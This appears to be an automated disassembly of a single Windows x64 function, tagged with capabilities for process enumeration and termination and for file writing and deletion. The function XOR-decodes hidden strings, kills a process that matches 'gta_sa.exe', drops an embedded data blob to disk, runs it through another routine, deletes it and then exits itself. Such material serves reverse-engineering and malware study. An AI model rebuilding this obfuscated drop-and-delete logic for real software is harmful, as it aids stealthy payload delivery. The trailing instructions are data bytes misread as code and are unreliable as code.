Function at 0x140004f90
Capabilities:
Delete file
Enumerate processes
Terminate process
Write file on windows

Disassembly:
push rbp
lea rbp, [rsp - 0x240]
sub rsp, 0x340
call fcn.140002710
mov rcx, rax
call fcn.140002260
call fcn.140002710
cmp qword [rax + 0x20], 0xffffffffffffffff
jne 0x140005510
movzx r11d, word [0x14002366c]
mov ecx, 0x1b
movzx r10d, word [0x14002366e]
mov eax, 0x7e
movzx r9d, word [str.gta_sa.exe]
xor r11w, cx
movzx r8d, word [0x140023672]
xor r10w, cx
movzx edx, word [0x140023674]
xor r9w, cx
mov dword [rsp + 0x58], ecx
xor r8w, cx
mov qword [rsp + 0x338], rbx
xor dx, cx
movzx ebx, word [0x14002366a]
mov qword [rsp + 0x330], rsi
xor bx, cx
movzx esi, word [0x140023666]
mov qword [rsp + 0x328], rdi
xor si, cx
movzx edi, word [0x140023668]
mov qword [rsp + 0x320], r12
xor di, cx
mov word [rbp + 0x258], ax
mov r12d, 0x5c
xor r12w, word [rsp + 0x58]
mov word [rsp + 0x62], r12w
mov r12d, 0x7a
xor r12w, word [rsp + 0x58]
mov word [rsp + 0x64], r12w
mov r12d, 0x76
xor r12w, word [rsp + 0x58]
mov word [rsp + 0x66], r12w
mov r12d, 0x7e
xor r12w, word [rsp + 0x58]
mov word [rsp + 0x68], r12w
mov r12d, 0x58
xor r12w, word [rsp + 0x58]
mov word [rsp + 0x6a], r12w
mov word [rbp + 0x250], ax
mov word [rbp + 0x260], ax
mov qword [rsp + 0x318], r13
movzx r13d, ax
movzx eax, word [0x14002365e]
movzx r12d, r13w
xor r12w, word [rsp + 0x58]
xor ax, cx
mov word [rsp + 0x6c], r12w
xor r13w, 0x1b
mov word [rbp + 0x268], ax
mov r12d, 0x75
xor r12w, word [rsp + 0x58]
movzx eax, word [0x140023660]
mov word [rsp + 0x6e], r12w
xor ax, cx
mov qword [rsp + 0x310], r14
mov r12d, 0x6f
xor r12w, word [rsp + 0x58]
movzx r14d, word [0x140023664]
mov word [rsp + 0x70], r12w
xor r14w, cx
mov r12d, 0x69
mov qword [rsp + 0x308], r15
movzx r15d, word [0x140023662]
xor r15w, cx
mov word [rsp + 0x60], cx
movzx ecx, word [0x140023676]
mov word [rsp + 0x5c], ax
xor cx, 0x1b
movzx eax, word [0x140023678]
mov word [rsp + 0x72], r13w
xor ax, 0x1b
mov r13d, 0x1b
xor r12w, r13w
mov word [rsp + 0x74], r12w
mov r12d, 0x35
xor r12w, r13w
mov word [rsp + 0x76], r12w
movzx r12d, word [rbp + 0x258]
xor r12w, r13w
mov word [rsp + 0x78], r12w
xor dx, r13w
mov dword [rbp - 0x40], 0x238
xor cx, r13w
mov word [rbp - 0x6a], dx
xor edx, edx
mov word [rbp - 0x68], cx
xor r15w, r13w
xor r11w, r13w
mov word [rbp - 0x7c], r15w
xor r10w, r13w
xor r9w, r13w
mov word [rbp - 0x72], r11w
xor r8w, r13w
mov word [rbp - 0x70], r10w
xor ax, r13w
mov word [rbp - 0x6e], r9w
mov r12d, 0x63
mov word [rbp - 0x6c], r8w
xor r12w, r13w
mov word [rbp - 0x66], ax
mov word [rsp + 0x7a], r12w
lea ecx, [rdx + 2]
movzx r12d, word [rbp + 0x260]
xor r14w, r13w
xor r12w, r13w
mov word [rbp - 0x7a], r14w
mov word [rsp + 0x7c], r12w
xor si, r13w
movzx r12d, r13w
mov word [rbp - 0x78], si
xor r12w, r13w
xor di, r13w
mov word [rsp + 0x7e], r12w
xor bx, r13w
movzx r12d, word [rbp + 0x268]
xor r15d, r15d
xor r12w, r13w
mov word [rbp - 0x76], di
mov word [rbp - 0x80], r12w
movzx r12d, word [rsp + 0x5c]
xor r12w, r13w
mov word [rbp - 0x74], bx
mov word [rbp - 0x7e], r12w
mov word [rbp - 0x64], r15w
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rbp - 0x40]
mov rcx, rax
mov rdi, rax
call sub.KERNEL32.dll_Process32FirstW
mov r13, qword [rsp + 0x318]
mov r12, qword [rsp + 0x320]
cmp eax, 1
jne 0x1400052eb
lea rdx, [rbp - 0x40]
mov rcx, rdi
call sub.KERNEL32.dll_Process32NextW
cmp eax, 1
jne 0x1400052eb
nop dword [rax]
lea rdx, [rsp + 0x62]
lea rcx, [rbp - 0x14]
call fcn.14000ccf8
test eax, eax
jne 0x1400052da
mov r8d, dword [rbp - 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x40]
mov rcx, rdi
call sub.KERNEL32.dll_Process32NextW
cmp eax, 1
je 0x1400052a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [str.gta_sa.exe]
mov r14d, 0x14
movzx r11d, word [0x14002366a]
movzx r8d, r14w
movzx r9d, word [0x14002366c]
xor r8w, r14w
movzx ecx, word [0x14002366e]
xor r11w, r14w
mov rsi, qword [rsp + 0x330]
lea ebx, [r14 + 0x26]
xor r9w, r14w
mov word [rsp + 0x40], r14w
xor cx, r14w
mov word [rsp + 0x4a], r8w
xor bx, r14w
mov word [rsp + 0x54], r15w
xor ax, r14w
mov word [rsp + 0x42], bx
xor r11w, r14w
lea r10d, [r14 + 0x59]
xor r10w, r14w
mov word [rsp + 0x4c], r11w
xor r9w, r14w
mov word [rsp + 0x46], r10w
xor cx, r14w
mov word [rsp + 0x4e], r9w
mov edi, 0x67
mov word [rsp + 0x50], cx
movzx edx, di
xorps xmm0, xmm0
xor di, r14w
xor dx, r14w
xor ax, r14w
mov word [rsp + 0x44], di
mov r14, qword [rsp + 0x310]
xorps xmm1, xmm1
mov word [rsp + 0x52], ax
mov r8, 0xffffffffffffffff
lea rax, [rsp + 0x42]
mov word [rsp + 0x48], dx
movups xmmword [rsp + 0x60], xmm0
movdqu xmmword [rsp + 0x70], xmm1
inc r8
cmp word [rax + r8*2], r15w
jne 0x1400053d5
lea rdx, [rsp + 0x42]
lea rcx, [rsp + 0x60]
call fcn.140001180
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.140003960
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.1400012b0
mov rbx, rax
mov dword [rbp + 0x250], r15d
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x140005421
mov rcx, qword [rax]
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x140005486
cmp rdi, 0xffffffffffffffff
je 0x140005486
lea r9, [rbp + 0x250]
mov qword [rsp + 0x20], r15
mov r8d, 0x5f60
lea rdx, section..data
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.140001ea0
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.1400012b0
mov rcx, rax
call fcn.140003b50
cmp qword [rbp - 0x48], 7
lea rcx, [rbp - 0x60]
cmova rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp - 0x48]
mov r15, qword [rsp + 0x308]
mov rdi, qword [rsp + 0x328]
mov rbx, qword [rsp + 0x338]
cmp rdx, 7
jbe 0x140005510
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000550b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000564d
call fcn.140005fc0
call fcn.140002710
mov rcx, rax
call fcn.140002260
call fcn.140002710
cmp qword [rax + 0x20], 0xffffffffffffffff
jne case.default.0x1400055d5
movdqa xmm1, xmmword [0x140023710]
mov dl, 0x7e
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8b, 0x6d
mov r9b, 0x7a
xor dl, cl
psrldq xmm0, 1
xor byte [rsp + 0x42], cl
xor r8b, cl
xor byte [rsp + 0x43], cl
xor r9b, cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
movd eax, xmm0
mov byte [rsp + 0x50], dl
mov byte [rsp + 0x51], r8b
xor al, cl
mov byte [rsp + 0x52], r9b
lea rcx, [rsp + 0x41]
mov byte [rsp + 0x41], al
mov byte [rsp + 0x53], 0
call fcn.140005cc0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
add rsp, 0x340
pop rbp
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
movdqa xmm1, xmmword [str.V2___3_v:97232_]
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov byte [rsp + 0x4f], 0
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
psrldq xmm0, 1
movd eax, xmm0
xor al, cl
lea rcx, [rsp + 0x41]
mov byte [rsp + 0x41], al
call fcn.140005cc0
add rsp, 0x340
pop rbp
ret
call fcn.14000a93c
int3
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
jo 0x140052a24
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jo 0x140052a85
add al, byte [rax]
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, dh
and dword [rdx], eax
add al, al
rol byte [rcx], 1
add byte [rax], ch
iretd
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
nop
and al, byte [rdx]
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
or dh, 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add al, bl
rol byte [rcx], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
rol byte [rcx], 1
add byte [rax], cl
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
rol byte [rcx], 1
add byte [rax], cl
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jo 0x140052cd2
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al